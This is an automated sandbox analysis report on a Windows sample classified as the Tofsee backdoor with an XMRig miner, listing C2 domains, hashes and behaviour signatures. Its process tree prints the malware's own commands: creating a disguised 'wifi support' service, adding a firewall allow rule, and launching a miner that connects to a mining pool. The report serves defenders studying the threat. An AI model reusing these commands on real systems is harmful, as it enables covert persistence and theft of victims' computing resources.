Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20220901-en
  • resource tags

    arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
  • submitted
    06/01/2023, 12:14

General

  • Target
    file.exe
  • Size 312KB
  • Sample230106-pea5psbf3s
  • SHA256 95d21658c0eaee20c7d5c482dfc9f3bd303fd0bd715dbd29431a6b28b067e673
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2016
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\mmmgyoah\
      2⤵
        PID:1680
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\rdmazvej.exe" C:\Windows\SysWOW64\mmmgyoah\
        2⤵
          PID:1204
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create mmmgyoah binPath= "C:\Windows\SysWOW64\mmmgyoah\rdmazvej.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:560
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description mmmgyoah "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1672
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start mmmgyoah
          2⤵
          • Launches sc.exe
          PID:1896
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1792
      • C:\Windows\SysWOW64\mmmgyoah\rdmazvej.exe
        C:\Windows\SysWOW64\mmmgyoah\rdmazvej.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2044
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:304
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1576

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            rdmazvej.exe

            • Path C:\Users\Admin\AppData\Local\Temp\rdmazvej.exe
            • Size 14.8MB
            • SHA256 b8984d1e8ce01fa08a19af8bb6fb662b29d536b05410a68d801efb5714a0ae28
            • MD5 SHA1 SHA512 SSDEEP

            rdmazvej.exe

            • Path C:\Windows\SysWOW64\mmmgyoah\rdmazvej.exe
            • Size 14.8MB
            • SHA256 b8984d1e8ce01fa08a19af8bb6fb662b29d536b05410a68d801efb5714a0ae28
            • MD5 SHA1 SHA512 SSDEEP

            memory/304-83-0x0000000000110000-0x0000000000116000-memory.dmp

            memory/304-95-0x0000000000290000-0x0000000000297000-memory.dmp

            memory/304-107-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/304-80-0x0000000001940000-0x0000000001B4F000-memory.dmp

            memory/304-86-0x0000000000130000-0x0000000000140000-memory.dmp

            memory/304-79-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/304-70-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/304-89-0x0000000000190000-0x0000000000195000-memory.dmp

            memory/304-92-0x00000000054E0000-0x00000000058EB000-memory.dmp

            memory/304-72-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1576-98-0x0000000000290000-0x0000000000381000-memory.dmp

            memory/1576-100-0x0000000000290000-0x0000000000381000-memory.dmp

            memory/2016-54-0x00000000766D1000-0x00000000766D3000-memory.dmp

            memory/2016-57-0x0000000000220000-0x0000000000233000-memory.dmp

            memory/2016-56-0x0000000002DFA000-0x0000000002E0F000-memory.dmp

            memory/2016-67-0x0000000000400000-0x0000000002C40000-memory.dmp

            memory/2016-66-0x0000000002DFA000-0x0000000002E0F000-memory.dmp

            memory/2016-58-0x0000000000400000-0x0000000002C40000-memory.dmp

            memory/2044-78-0x0000000000400000-0x0000000002C40000-memory.dmp

            memory/2044-75-0x0000000002DBA000-0x0000000002DCF000-memory.dmp